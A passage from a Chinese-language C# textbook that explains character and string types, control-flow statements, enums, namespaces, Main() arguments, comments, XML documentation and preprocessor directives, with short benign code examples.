值 char System.Char 表示一个16位的(Unicode)字 符 char类型的字面量是用单引号括起来的,如’A'。如果把字符放在双引号中,编译器会 把它看成字符串,从而产生错误。 除了把char表示为字符字面量之外,还可以用4位十六进制的Unicode值 (如’\u0041')、带有强制类型转换的整数值(如(char)65)或十六进制数('\x0041') 表示它们。它们还可以用转义序列表示,如表2-6所示。 表2-6 转义序列 字符 \' 单引号 \" 双引号 \\ 反斜杠 \0 空 \a 警告 \b 退格 \f 换页 \n 换行 \r 回车 \t 水平制表符 \v 垂直制表符 2.4.4 预定义的引用类型 C#支持两种预定义的引用类型:object和string,如表2-7所示。 表2-7 名称 .NET类型 说明 object System.Object 根类型,其他类型都是从它派生 而来的(包括值类型) string System.String Unicode字符串 1. object类型 许多编程语言和类层次结构都提供了根类型,层次结构中的其他对象都从它派生而 来。C#和.NET也不例外。在C#中,object类型就是最终的父类型,所有内置类型和用户定 义的类型都从它派生而来。这样,object类型就可以用于两个目的: ● 可以使用object引用来绑定任何特定子类型的对象。例如,第8章将说明如何使用 object类型把堆栈中的值对象装箱,再移动到堆中。object引用也可以用于反射, 此时必须有代码来处理类型未知的对象。 ● object类型实现了许多一般用途的基本方法,包括Equals()、GetHashCode()、 GetType()和ToString()。用户定义的类需要使用一种面向对象技术——重写 (见第4章),来提供其中一些方法的替代实现代码。例如,重写ToString() 时,要给类提供一个方法,给出类本身的字符串表示。如果类中没有提供这些方 法的实现代码,编译器就会使用object类型中的实现代码,它们在类上下文中的执 行不一定正确。 后面将详细讨论object类型。 2. string类型 C#有string关键字,在遮罩下转换为.NET类System.String。有了它,像字符串连接和 字符串复制这样的操作就很简单了: string str1 = "Hello "; string str2 = "World"; string str3 = str1 + str2; // string concatenation 尽管这是一个值类型的赋值,但string是一个引用类型。string对象被分配在堆上,而 不是栈上。因此,当把一个字符串变量赋予另一个字符串时,会得到对内存中同一个字符 串的两个引用。但是,string与引用类型的常见行为有一些区别。例如,字符串是不可改 变的。修改其中一个字符串,就会创建一个全新的string对象,而另一个字符串不发生任 何变化。考虑下面的代码(代码文件StringSample/Program.cs): using static System.Console; class Program { static void Main() { string s1 = "a string"; string s2 = s1; WriteLine("s1 is " + s1); WriteLine("s2 is " + s2); s1 = "another string"; WriteLine("s1 is now " + s1); WriteLine("s2 is now " + s2); } } 其输出结果为: s1 is a string s2 is a string s1 is now another string s2 is now a string 改变s1的值对s2没有影响,这与我们期待的引用类型正好相反。当用值a string初始化 s1时,就在堆上分配了一个新的string对象。在初始化s2时,引用也指向这个对象,所以s2 的值也是a string。但是当现在要改变s1的值时,并不会替换原来的值,在堆上会为新值分 配一个新对象。s2变量仍指向原来的对象,所以它的值没有改变。这实际上是运算符重载 的结果,运算符重载详见第8章。基本上,string类已实现,其语义遵循一般的、直观的字 符串规则。 字符串字面量放在双引号中("...");如果试图把字符串放在单引号中,编译器就会 把它当成char类型,从而抛出错误。C#字符串和char一样,可以包含Unicode和十六进制数 转义序列。因为这些转义序列以一个反斜杠开头,所以不能在字符串中使用没有经过转义 的反斜杠字符,而需要用两个反斜杠字符(\\)来表示它: string filepath = "C:\\ProCSharp\\First.cs"; 即使用户相信自己可以在任何情况下都记住要这么做,但输入两个反斜杠字符会令人 迷惑。幸好,C#提供了替代方式。可以在字符串字面量的前面加上字符@,在这个字符 后的所有字符都看成其原来的含义——它们不会解释为转义字符: string filepath = @"C:\ProCSharp\First.cs"; 甚至允许在字符串字面量中包含换行符: string jabberwocky = @"'Twas brillig and the slithy toves Did gyre and gimble in the wabe."; 那么jabberwocky的值就是: 'Twas brillig and the slithy toves Did gyre and gimble in the wabe. C# 6定义了一种新的字符串插值格式,用$前缀来标记。这个前缀在2.3节中使用过。 可以使用字符串插值格式,改变前面演示字符串连接的代码片段。对字符串加上$前缀, 就允许把花括号放在包含一个变量甚或代码表达式的字符串中。变量或代码表达式的结果 放在字符串中花括号所在的位置: public static void Main() { string s1 = "a string"; string s2 = s1; WriteLine($"s1 is {s1}"); WriteLine($"s2 is {s2}"); s1 = "another string"; WriteLine($"s1 is now {s1}"); WriteLine($"s2 is now {s2}"); }  注意: 字符串和字符串插值功能参见第10章。 2.5 程序流控制 本节将介绍C#语言最基本的重要语句:控制程序流的语句。它们不是按代码在程序 中的排列位置顺序执行的。 2.5.1 条件语句 条件语句可以根据条件是否满足或根据表达式的值来控制代码的执行分支。C#有两 个控制代码的分支的结构:if语句,测试特定条件是否满足;switch语句,比较表达式和 多个不同的值。 1. if语句 对于条件分支,C#继承了C和C++的if...else结构。对于用过程语言编程的人,其语法 非常直观: if (condition) statement(s) else statement(s) 如果在条件中要执行多个语句,就需要用花括号({ ... })把这些语句组合为一个块 (这也适用于其他可以把语句组合为一个块的C#结构,如for和while循环)。 bool isZero; if (i == 0) { isZero = true; WriteLine("i is Zero"); } else { isZero = false; WriteLine("i is Non-zero"); } 还可以单独使用if语句,不加最后的else语句。也可以合并else if子句,测试多个条件 (代码文件IfStatement/Program.cs)。 using static System.Console; namespace Wrox { class Program { static void Main() { WriteLine("Type in a string"); string input; input = ReadLine(); if (input == "") { WriteLine("You typed in an empty string."); } else if (input.Length < 5) { WriteLine("The string had less than 5 characters."); } else if (input.Length < 10) { WriteLine("The string had at least 5 but less than 10 Characters."); } WriteLine("The string was " + input); } } 添加到if子句中的else if语句的个数不受限制。 注意,在上面的例子中,声明了一个字符串变量input,让用户在命令行输入文本, 把文本填充到input中,然后测试该字符串变量的长度。代码还显示了在C#中如何进行字 符串处理。例如,要确定input的长度,可以使用input.Length。 对于if,要注意的一点是如果条件分支中只有一条语句,就无须使用花括号: if (i == 0) WriteLine("i is Zero"); // This will only execute if i == 0 WriteLine("i can be anything"); // Will execute whatever the // value of i 但是,为了保持一致,许多程序员只要使用if语句,就加上花括号。  提示: 在if语句中不使用花括号,可能在维护代码时导致错误。无论if语句返 回true还是false,都常常给if语句添加第二个语句。每次都使用花括号,就可以避免这 个编码错误。 使用if语句的一个指导原则是只有语句和if语句写在同一行上,才不允许程序员使 用花括号。遵守这条指导原则,程序员就不太可能在添加第二个语句时不添加花括 号。 前面介绍的if语句还演示了用于比较数值的一些C#运算符。特别注意,C#使用“= =”对变量进行等于比较。此时不要使用“=”,一个“=”用于赋值。 在C#中,if子句中的表达式必须等于布尔值(Boolean)。不能直接测试整数(如从 函数中返回的值),而必须明确地把返回的整数转换为布尔值true或false,例如,将值与0 或null进行比较: if (DoSomething() ! = 0) { // Non-zero value returned } else { // Returned zero } 2. switch语句 switch…case语句适合于从一组互斥的可执行分支中选择一个执行分支。其形式是 switch参数的后面跟一组case子句。如果switch参数中表达式的值等于某个case子句旁边的 某个值,就执行该case子句中的代码。此时不需要使用花括号把语句组合到块中;只需要 使用break语句标记每段case代码的结尾即可。也可以在switch语句中包含一条default子 句,如果表达式不等于任何case子句的值,就执行default子句的代码。下面的switch语句 测试integerA变量的值: switch (integerA) { case 1: WriteLine("integerA = 1"); break; case 2: WriteLine("integerA = 2"); break; case 3: WriteLine("integerA = 3"); break; default: WriteLine("integerA is not 1, 2, or 3"); break; } 注意case值必须是常量表达式;不允许使用变量。 C和C++程序员应很熟悉switch…case语句,而C#的switch…case语句更安全。特别是 它禁止几乎所有case中的失败条件。如果激活了块中靠前的一条case子句,后面的case子 句就不会被激活,除非使用goto语句特别标记也要激活后面的case子句。编译器会把没有 break语句的case子句标记为错误,从而强制实现这一约束: Control cannot fall through from one case label ('case 2:') to another 在有限的几种情况下,这种失败是允许的,但在大多数情况下,我们不希望出现这种 失败,而且这会导致出现很难察觉的逻辑错误。让代码正常工作,而不是出现异常,这样 不是更好吗? 但在使用goto语句时,会在switch…cases中重复出现失败。如果确实想这么做,就应 重新考虑设计方案了。 下面的代码说明了如何使用goto模拟失败,得到的代码会非常混乱: // assume country and language are of type string switch(country) { case "America": CallAmericanOnlyMethod(); goto case "Britain"; case "France": language = "French"; break; case "Britain": language = "English"; break; } 但有一种例外情况。如果一条case子句为空,就可以从这条case子句跳到下一条case 子句,这样就可以用相同的方式处理两条或多条case子句了(不需要goto语句)。 switch(country) { case "au": case "uk": case "us": language = "English"; break; case "at": case "de": language = "German"; break; } 在C#中,switch语句的一个有趣的地方是case子句的顺序是无关紧要的,甚至可以把 default子句放在最前面!因此,任何两条case都不能相同。这包括值相同的不同常量,所 以不能这样编写: // assume country is of type string const string england = "uk"; const string britain = "uk"; switch(country) { case england: case britain: // This will cause a compilation error. language = "English"; break; } 上面的代码还说明了C#中的switch语句与C++中的switch语句的另一个不同之处:在 C#中,可以把字符串用作测试的变量。 2.5.2 循环 C#提供了4种不同的循环机制(for、while、do...while和foreach),在满足某个条件 之前,可以重复执行代码块。 1. for循环 C#的for循环提供的迭代循环机制是在执行下一次迭代前,测试是否满足某个条件, 其语法如下: for (initializer ; condition ; iterator ): statement(s) 其中: ● initializer是指在执行第一次循环前要计算的表达式(通常把一个局部变量初始化为 循环计数器)。 ● condition是在每次循环的新迭代之前要测试的表达式(它必须等于true,才能执行 下一次迭代)。 ● iterator是每次迭代完要计算的表达式(通常是递增循环计数器)。 当condition等于false时,迭代停止。 for循环是所谓的预测试循环,因为循环条件是在执行循环语句前计算的,如果循环 条件为假,循环语句就根本不会执行。 for循环非常适合用于一个语句或语句块重复执行预定的次数。下面的例子就是for循 环的典型用法,这段代码输出0~99的整数: for (int i = 0; i < 100; i = i + 1) { WriteLine(i); } 这里声明了一个int类型的变量i,并把它初始化为0,用作循环计数器。接着测试它是 否小于100。因为这个条件等于true,所以执行循环中的代码,显示值0。然后给该计数器 加1,再次执行该过程。当i等于100时,循环停止。 实际上,上述编写循环的方式并不常用。C#在给变量加1时有一种简化方式,即不使 用i = i+1,而简写为i++: for (int i = 0; i < 100; i++) { // etc. } 也可以在上面的例子中给循环变量i使用类型推断。使用类型推断时,循环结构变 成: for (var i = 0; i < 100; i++) { // etc. } 嵌套的for循环非常常见,在每次迭代外部循环时,内部循环都要彻底执行完毕。这 种模式通常用于在矩形多维数组中遍历每个元素。最外部的循环遍历每一行,内部的循环 遍历某行上的每个列。下面的代码显示数字行,它还使用另一个Console方法 Console.Write(),该方法的作用与Console.WriteLine()相同,但不在输出中添加回车 换行符(代码文件ForLoop/Program.cs): using static System.Console; namespace Wrox { class Program { static void Main() { // This loop iterates through rows for (int i = 0; i < 100; i+=10) { // This loop iterates through columns for (int j = i; j < i + 10; j++) { Write($" {j}"); } WriteLine(); } } } } 尽管j是一个整数,但它会自动转换为字符串,以便进行连接。 上述例子的结果是: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 尽管在技术上,可以在for循环的测试条件中计算其他变量,而不计算计数器变量, 但这不太常见。也可以在for循环中忽略一个表达式(甚至所有表达式)。但此时,要考 虑使用while循环。 2. while循环 与for循环一样,while也是一个预测试循环。其语法是类似的,但while循环只有一个 表达式: while(condition) statement(s); 与for循环不同的是,while循环最常用于以下情况:在循环开始前,不知道重复执行 一个语句或语句块的次数。通常,在某次迭代中,while循环体中的语句把布尔标志设置 为false,结束循环,如下面的例子所示: bool condition = false; while (! condition) { // This loop spins until the condition is true. DoSomeWork(); condition = CheckCondition(); // assume CheckCondition() returns a bool } 3. do…while循环 do...while循环是while循环的后测试版本。这意味着该循环的测试条件要在执行完循 环体之后评估。因此do...while循环适用于循环体至少执行一次的情况: bool condition; do { // This loop will at least execute once, even if Condition is false. MustBeCalledAtLeastOnce(); condition = CheckCondition(); } while (condition); 4. foreach循环 foreach循环可以迭代集合中的每一项。现在不必考虑集合的准确概念(第11章将详细 介绍集合),只需要知道集合是一种包含一系列对象的对象即可。从技术上看,要使用集 合对象,就必须支持IEnumerable接口。集合的例子有C#数组、System.Collection名称空间 中的集合类,以及用户定义的集合类。从下面的代码中可以了解foreach循环的语法,其中 假定arrayOfInts是一个int类型数组: foreach (int temp in arrayOfInts) { WriteLine(temp); } 其中,foreach循环每次迭代数组中的一个元素。它把每个元素的值放在int类型的变 量temp中,然后执行一次循环迭代。 这里也可以使用类型推断。此时,foreach循环变成: foreach (var temp in arrayOfInts) { // etc. } temp的类型推断为int,因为这是集合项的类型。 注意,foreach循环不能改变集合中各项(上面的temp)的值,所以下面的代码不会编 译: foreach (int temp in arrayOfInts) { temp++; WriteLine(temp); } 如果需要迭代集合中的各项,并改变它们的值,应使用for循环。 2.5.3 跳转语句 C#提供了许多可以立即跳转到程序中另一行代码的语句,在此,先介绍goto语句。 1. goto语句 goto语句可以直接跳转到程序中用标签指定的另一行(标签是一个标识符,后跟一个 冒号): goto Label1; WriteLine("This won't be executed"); Label1: WriteLine("Continuing execution from here"); goto语句有两个限制。不能跳转到像for循环这样的代码块中,也不能跳出类的范围; 不能退出try...catch块后面的finally块(第14章将介绍如何用try...catch...finally块处理异 常)。 goto语句的名声不太好,在大多数情况下不允许使用它。一般情况下,使用它肯定不 是面向对象编程的好方式。 2. break语句 前面简要提到过break语句——在switch语句中使用它退出某个case语句。实际上, break语句也可以用于退出for、foreach、while或do...while循环,该语句会使控制流执行循 环后面的语句。 如果该语句放在嵌套的循环中,就执行最内部循环后面的语句。如果break放在switch 语句或循环外部,就会产生编译错误。 3. continue语句 continue语句类似于break语句,也必须在for、foreach、while或do...while循环中使 用。但它只退出循环的当前迭代,开始执行循环的下一次迭代,而不是退出循环。 4. return语句 return语句用于退出类的方法,把控制权返回方法的调用者。如果方法有返回类型, return语句必须返回这个类型的值;如果方法返回void,应使用没有表达式的return语句。 2.6 枚举 枚举是用户定义的整数类型。在声明一个枚举时,要指定该枚举的实例可以包含的一 组可接受的值。不仅如此,还可以给值指定易于记忆的名称。如果在代码的某个地方,要 试图把一个不在可接受范围内的值赋予枚举的一个实例,编译器就会报告错误。 从长远来看,创建枚举可以节省大量时间,减少许多麻烦。使用枚举比使用无格式的 整数至少有如下3个优势: ● 如上所述,枚举可以使代码更易于维护,有助于确保给变量指定合法的、期望的 值。 ● 枚举使代码更清晰,允许用描述性的名称表示整数值,而不是用含义模糊、变化多 端的数来表示。 ● 枚举也使代码更易于输入。在给枚举类型的实例赋值时,Visual Studio 2015会通过 IntelliSense弹出一个包含可接受值的列表框,减少了按键次数,并能够让我们回 忆起可选的值。 可以定义如下的枚举: public enum TimeOfDay { Morning = 0, Afternoon = 1, Evening = 2 } 本例在枚举中使用一个整数值,来表示一天的每个阶段。现在可以把这些值作为枚举 的成员来访问。例如,TimeOfDay.Morning返回数字0。使用这个枚举一般是把合适的值 传送给方法,并在switch语句中迭代可能的值(代码文件 EnumerationSample/Program.cs)。 class Program { static void Main() { WriteGreeting(TimeOfDay.Morning); } static void WriteGreeting(TimeOfDay timeOfDay) { switch(timeOfDay) { case TimeOfDay.Morning: WriteLine("Good morning! "); break; case TimeOfDay.Afternoon: WriteLine("Good afternoon! "); break; case TimeOfDay.Evening: WriteLine("Good evening! "); break; default: WriteLine("Hello! "); break; } } } 在C#中,枚举的真正强大之处是它们在后台会实例化为派生自基类System.Enum的结 构。这表示可以对它们调用方法,执行有用的任务。注意因为.NET Framework的实现方 式,在语法上把枚举当成结构不会造成性能损失。实际上,一旦代码编译好,枚举就成为 基本类型,与int和float类似。 可以检索枚举的字符串表示,例如,使用前面的TimeOfDay枚举: TimeOfDay time = TimeOfDay.Afternoon; WriteLine(time.ToString()); 会返回字符串Afternoon。 另外,还可以从字符串中获取枚举值: TimeOfDay time2 = (TimeOfDay) Enum.Parse(typeof(TimeOfDay), "afternoon", true ); WriteLine((int)time2); 这段代码说明了如何从字符串中获取枚举值,并将其转换为整数。要从字符串转换, 需要使用静态的Enum.Parse()方法,这个方法有3个参数。第1个参数是要使用的枚举类 型,其语法是关键字typeof后跟放在括号中的枚举类名。typeof运算符将在第8章详细论 述。第2个参数是要转换的字符串。第3个参数是一个bool,指定在进行转换时是否忽略大 小写。最后,注意Enum.Parse()方法实际上返回一个对象引用——我们需要把这个字符 串显式转换为需要的枚举类型(这是一个拆箱操作的例子)。对于上面的代码,将返回 1,作为一个对象,对应于TimeOfDay.Afternoon的枚举值。在显式转换为int时,会再次生 成1。 System.Enum上的其他方法可以返回枚举定义中值的个数或列出值的名称等。详细信 息参见MSDN文档。 2.7 名称空间 如前所述,名称空间提供了一种组织相关类和其他类型的方式。与文件或组件不同, 名称空间是一种逻辑组合,而不是物理组合。在C#文件中定义类时,可以把它包括在名 称空间定义中。以后,在定义另一个类(在另一个文件中执行相关操作)时,就可以在同 一个名称空间中包含它,创建一个逻辑组合,该组合告诉使用类的其他开发人员:这两个 类是如何相关的以及如何使用它们: using System; namespace CustomerPhoneBookApp { public struct Subscriber { // Code for struct here.. } } 把一个类型放在名称空间中,可以有效地给这个类型指定一个较长的名称,该名称包 括类型的名称空间,名称之间用句点(.)隔开,最后是类名。在上面的例子中, Subscriber结构的全名是CustomerPhoneBookApp.Subscriber。这样,有相同短名的不同类 就可以在同一个程序中使用了。全名常常称为完全限定的名称。 也可以在名称空间中嵌套其他名称空间,为类型创建层次结构: namespace Wrox { namespace ProCSharp { namespace Basics { class NamespaceExample { // Code for the class here.. } } } } 每个名称空间名都由它所在名称空间的名称组成,这些名称用句点分隔开,开头是最 外层的名称空间,最后是它自己的短名。所以ProCSharp名称空间的全名是 Wrox.ProCSharp, NamespaceExample类的全名是 Wrox.ProCSharp.Basics.NamespaceExample。 使用这个语法也可以在自己的名称空间定义中组织名称空间,所以上面的代码也可以 写为: namespace Wrox.ProCSharp.Basics { class NamespaceExample { // Code for the class here.. } } 注意不允许声明嵌套在另一个名称空间中的多部分名称空间。 名称空间与程序集无关。同一个程序集中可以有不同的名称空间,也可以在不同的程 序集中定义同一个名称空间中的类型。 应在开始一个项目之前就计划定义名称空间的层次结构。一般可接受的格式是 CompanyName.ProjectName.SystemSection。所以在上面的例子中,Wrox是公司名, ProCSharp是项目,对于本章,Basics是部分名。 2.7.1 using语句 显然,名称空间相当长,输入起来很繁琐,用这种方式指定某个类也不总是必要的。 如本章开头所述,C#允许简写类的全名。为此,要在文件的顶部列出类的名称空间,前 面加上using关键字。在文件的其他地方,就可以使用其类型名称来引用名称空间中的类 型了: using System; using Wrox.ProCSharp; 如前所述,很多C#文件都以语句using System;开头,这仅是因为微软公司提供的许 多有用的类都包含在System名称空间中。 如果using语句引用的两个名称空间包含同名的类型,就必须使用完整的名称(或者 至少较长的名称),确保编译器知道访问哪个类型。例如,假如类NamespaceExample同 时存在于Wrox.ProCSharp.Basics和Wrox.ProCSharp.OOP名称空间中。如果要在名称空间 Wrox.ProCSharp中创建一个类Test,并在该类中实例化一个NamespaceExample类,就需要 指定使用哪个类: using Wrox.ProCSharp.OOP; using Wrox.ProCSharp.Basics; namespace Wrox.ProCSharp { class Test { static void Main() { Basics.NamespaceExample nSEx = new Basics.NamespaceExample(); // do something with the nSEx variable. } } | 公司应花一些时间开发一种名称空间模式,这样其开发人员才能快速定位他们需要的 功能,而且公司内部使用的类名也不会与现有的类库相冲突。本章后面将介绍建立名称空 间模式的规则和其他命名约定。 2.7.2 名称空间的别名 using关键字的另一个用途是给类和名称空间指定别名。如果名称空间的名称非常 长,又要在代码中多次引用,但不希望该名称空间的名称包含在using语句中(例如,避 免类名冲突),就可以给该名称空间指定一个别名,其语法如下: using alias = NamespaceName; 下面的例子(前面例子的修订版本)给Wrox.ProCSharp.Basics名称空间指定别名 Introduction,并使用这个别名实例化了在该名称空间中定义的NamespaceExample对象。 注意名称空间别名的修饰符是“::”。因此将强制先从Introduction名称空间别名开始搜索。 如果在相同的作用域中引入了Introduction类,就会发生冲突。即使出现了冲突,“::”运算 符也允许引用别名。NamespaceExample类有一个方法GetNamespace(),该方法调用每 个类都有的GetType()方法,以访问表示类的类型的Type对象。下面使用这个对象来返 回类的名称空间名(代码文件NamespaceSample/Program.cs): using Introduction = Wrox.ProCSharp.Basics; using static System.Console; class Program { static void Main() { Introduction::NamespaceExample NSEx = new Introduction::NamespaceExample(); WriteLine(NSEx.GetNamespace()); } } namespace Wrox.ProCSharp.Basics { class NamespaceExample { public string GetNamespace() { return this.GetType().Namespace; } } } 2.8 Main()方法 本章的开头提到过,C#程序是从方法Main()开始执行的。根据执行环境,有不同 的要求: ● 使用了static修饰符 ● 在任意类中 ● 返回int或void类型 虽然显式指定public修饰符是很常见的,因为按照定义,必须在程序外部调用该方 法,但给该入口点方法指定什么访问级别并不重要,即使把该方法标记为private,它也可 以运行。 前面的例子只介绍了不带参数的Main()方法。但在调用程序时,可以让CLR包含 一个参数,将命令行参数传递给程序。这个参数是一个字符串数组,传统上称为args(但 C#可以接受任何名称)。在启动程序时,程序可以使用这个数组,访问通过命令行传送 的选项。 下面的例子在传送给Main()方法的字符串数组中循环,并把每个选项的值写入控 制台窗口(代码文件ArgumentsSample/Program.cs): using System; using static System.Console; namespace Wrox { class Program { static void Main(string[] args) { for (int i = 0; i < args.Length; i++) { WriteLine(args[i]); } } } } 在Visual Studio 2015中运行应用程序时,要给程序传递参数,可以在项目属性的 Debug部分定义参数,如图2-9所示。运行应用程序,会在控制台上显示所有参数值。 图2-9 2.9 使用注释 本节的内容是给代码添加注释,该主题表面看来十分简单,但实际可能很复杂。注释 有助于阅读代码的其他开发人员理解代码,而且可以用来为其他开发人员生成代码的文 档。 2.9.1 源文件中的内部注释 本章开头提到过,C#使用传统的C风格注释方式:单行注释使用// ...,多行注释使 用/* ... */: // This is a single-line comment /* This comment spans multiple lines. */ 单行注释中的任何内容,即从//开始一直到行尾的内容都会被编译器忽略。多行注释 中“/*”和“*/”之间的所有内容也会被忽略。显然不能在多行注释中包含“*/”组合,因为这会 被当成注释的结尾。 实际上,可以把多行注释放在一行代码中: WriteLine(/* Here's a comment! */ "This will compile."); 像这样的内联注释在使用时应小心,因为它们会使代码难以理解。但这样的注释在调 试时是非常有用的,例如,在运行代码时要临时使用另一个值: DoSomething(Width, /*Height*/ 100); 当然,字符串字面值中的注释字符会按照一般的字符来处理: string s = "/* This is just a normal string .*/"; 2.9.2 XML文档 如前所述,除了C风格的注释外,C#还有一个非常出色的功能(本章将讨论这一功 能):根据特定的注释自动创建XML格式的文档说明。这些注释都是单行注释,但都以3 条斜杠(///)开头,而不是通常的两条斜杠。在这些注释中,可以把包含类型和类型成员 的文档说明的XML标记放在代码中。 编译器可以识别表2-8所示的标记。 表2-8 标记 说明 <c> 把行中的文本标记为代码,例如<c>int i = 10; </c> <code> 把多行标记为代码 <example> 标记为一个代码示例 <exception> 说明一个异常类(编译器要验证其语法) <include> 包含其他文档说明文件的注释(编译器要验证其语法) <list> 把列表插入文档中 <para> 建立文本的结构 <param> 标记方法的参数(编译器要验证其语法) <paramref> 表明一个单词是方法的参数(编译器要验证其语法) <permission> 说明对成员的访问(编译器要验证其语法) <remarks> 给成员添加描述 <returns> 说明方法的返回值 <see> 提供对另一个参数的交叉引用(编译器要验证其语法) <seealso> 提供描述中的“参见”部分(编译器要验证其语法) <summary> 提供类型或成员的简短小结 <typeparam> 用在泛型类型的注释中,以说明一个类型参数 <typepararef> 类型参数的名称 <value> 描述属性 要了解它们的工作方式,可以在2.9.1小节的Calculator.cs文件中添加一些XML注释。 我们给类及其Add()方法添加一个<summary>元素,也给Add()方法添加一个 <returns>元素和两个<param>元素: // MathLib.cs namespace Wrox.MathLib { ///<summary> /// Wrox.MathLib.Calculator class. /// Provides a method to add two doublies. ///</summary> public class Calculator { ///<summary> /// The Add method allows us to add two doubles. ///</summary> ///<returns>Result of the addition (double)</returns> ///<param name="x">First number to add</param> ///<param name="y">Second number to add</param> public static double Add(double x, double y) => x + y; } } 2.10 C#预处理器指令 除了前面介绍的常用关键字外,C#还有许多名为“预处理器指令”的命令。这些命令 从来不会转化为可执行代码中的命令,但会影响编译过程的各个方面。例如,使用预处理 器指令可以禁止编译器编译代码的某一部分。如果计划发布两个版本的代码,即基本版本 和拥有更多功能的企业版本,就可以使用这些预处理器指令。在编译软件的基本版本时, 使用预处理器指令可以禁止编译器编译与附加功能相关的代码。另外,在编写提供调试信 息的代码时,也可以使用预处理器指令。实际上,在销售软件时,一般不希望编译这部分 代码。 预处理器指令的开头都有符号#。  注意: C++开发人员应该知道,在C和C++中预处理器指令非常重要。但 是,在C#中,并没有那么多的预处理器指令,它们的使用也不太频繁。C#提供了其他 机制来实现许多C++指令的功能,如定制特性。还要注意,C#并没有一个像C++那样的 独立预处理器,所谓的预处理器指令实际上是由编译器处理的。尽管如此,C#仍保留 了一些预处理器指令名称,因为这些命令会让人觉得就是预处理器。 下面简要介绍预处理器指令的功能。 2.10.1 #define和#undef #define的用法如下所示: #define DEBUG 它告诉编译器存在给定名称的符号,在本例中是DEBUG。这有点类似于声明一个变 量,但这个变量并没有真正的值,只是存在而已。这个符号不是实际代码的一部分,而只 在编译器编译代码时存在。在C#代码中它没有任何意义。 #undef正好相反——它删除符号的定义: #undef DEBUG 如果符号不存在,#undef就没有任何作用。同样,如果符号已经存在,则#define也不 起作用。 必须把#define和#undef命令放在C#源文件的开头位置,在声明要编译的任何对象的代 码之前。 #define本身并没有什么用,但与其他预处理器指令(特别是#if)结合使用时,它的 功能就非常强大了。  注意: 这里应注意一般C#语法的一些变化。预处理器指令不用分号结束,一 般一行上只有一条命令。这是因为对于预处理器指令,C#不再要求命令使用分号进行 分隔。如果编译器遇到一条预处理器指令,就会假定下一条命令在下一行。 2.10.2 #if、#elif、#else和#endif 这些指令告诉编译器是否要编译代码块。考虑下面的方法: int DoSomeWork(double x) { // do something #if DEBUG WriteLine($"x is {x}"); #endif } 这段代码会像往常那样编译,但Console.WriteLine方法调用包含在#if子句内。这行代 码只有在前面的#define指令定义了符号DEBUG后才执行。当编译器遇到#if指令后,将先 检查相关的符号是否存在,如果符号存在,就编译#if子句中的代码。否则,编译器会忽 略所有的代码,直到遇到匹配的#endif指令为止。一般是在调试时定义符号DEBUG,把与 调试相关的代码放在#if子句中。在完成了调试后,就把#define指令注释掉,所有的调试 代码会奇迹般地消失,可执行文件也会变小,最终用户不会被这些调试信息弄糊涂(显 然,要做更多的测试,确保代码在没有定义DEBUG的情况下也能工作)。这项技术在C 和C++编程中十分常见,称为条件编译(conditional compilation)。 #elif (=else if)和#else指令可以用在#if块中,其含义非常直观。也可以嵌套#if块: #define ENTERPRISE #define W10 // further on in the file #if ENTERPRISE // do something #if W10 // some code that is only relevant to enterprise // edition running on W10 #endif #elif PROFESSIONAL // do something else #else // code for the leaner version #endif #if和#elif还支持一组逻辑运算符“!”、“==”、“!=”和“||”。如果符号存在,就被认为是 true,否则为false,例如: #if W10 && (ENTERPRISE==false) // if W10 is defined but ENTERPRISE isn't 2.10.3 #warning和# error 另两个非常有用的预处理器指令是#warning和#error。当编译器遇到它们时,会分别 产生警告或错误。如果编译器遇到#warning指令,会向用户显示#warning指令后面的文 本,之后编译继续进行。如果编译器遇到#error指令,就会向用户显示后面的文本,作为 一条编译错误消息,然后会立即退出编译,不会生成IL代码。 使用这两条指令可以检查#define语句是不是做错了什么事,使用#warning语句可以提 醒自己执行某个操作: #if DEBUG && RELEASE #error "You've defined DEBUG and RELEASE simultaneously! " #endif #warning "Don't forget to remove this line before the boss tests the code! " WriteLine("*I hate this job.*"); 2.10.4 #region和#endregion #region和#endregion指令用于把一段代码视为有给定名称的一个块,如下所示: #region Member Field Declarations int x; double d; Currency balance; #endregion 这看起来似乎没有什么用,它根本不影响编译过程。这些指令真正的优点是它们可以 被某些编辑器识别,包括Visual Studio编辑器。这些编辑器可以使用这些指令使代码在屏 幕上更好地布局。第17章会详细介绍。 2.10.5 #line #line指令可以用于改变编译器在警告和错误信息中显示的文件名和行号信息。这条指 令用得并不多。如果编写代码时,在把代码发送给编译器前,要使用某些软件包改变输入 的代码,该指令最有用,因为这意味着编译器报告的行号或文件名与文件中的行号或编辑 的文件名不匹配。#line指令可以用于还原这种匹配。也可以使用语法#line default把行号 还原为默认的行号: #line 164 "Core.cs" // We happen to know this is line 164 in the file // Core.cs, before the intermediate // package mangles it. // later on #line default // restores default line numbering 2.10.6 #pragma #pragma指令可以抑制或还原指定的编译警告。与命令行选项不同,#pragma指令可以 在类或方法级别实现,对抑制警告的内容和抑制的时间进行更精细的控制。下面的例子禁 止“字段未使用”警告,然后在编译MyClass类后还原该警告。 #pragma warning disable 169 public class MyClass { int neverUsedField; } #pragma warning restore 169 2.11 C#编程准则 本节介绍编写C#程序时应该牢记和遵循的准则。大多数C#开发人员都遵守这些规 则,所以在这些规则的指导下编写程序,可以方便其他开发人员使用程序的代码。 2.11.1 关于标识符的规则 本小节将讨论可用的变量、类和方法等的命名规则。注意本节所介绍的规则不仅是准 则,也是C#编译器强制使用的。 标识符是给变量、用户定义的类型(如类和结构)和这些类型的成员指定的名称。标 识符区分大小写,所以interestRate和InterestRate是不同的变量。确定在C#中可以使用什么 标识符有两条规则: ● 尽管可以包含数字字符,但它们必须以字母或下划线开头。 ● 不能把C#关键字用作标识符。 C#包含如表2-9所示的保留关键字。 表2-9 abstract event new struct as explicit null switch base extern object this bool false operator throw break finally out true byte fixed override try case float params typeof catch for private uint char foreach protected ulong checked goto public unchecked class if readonly unsafe const implicit ref ushort continue in return using decimal int sbyte virtual default interface sealed void delegate internal short volatile do is sizeof while double lock stackalloc else long static enum namespace string 如果需要把某一保留字用作标识符(例如,访问一个用另一种语言编写的类),那么 可以在标识符的前面加上前缀符号@,告知编译器其后的内容是一个标识符,而不是C# 关键字(所以abstract不是有效的标识符,@abstract才是)。 最后,标识符也可以包含Unicode字符,用语法\uXXXX来指定,其中XXXX是 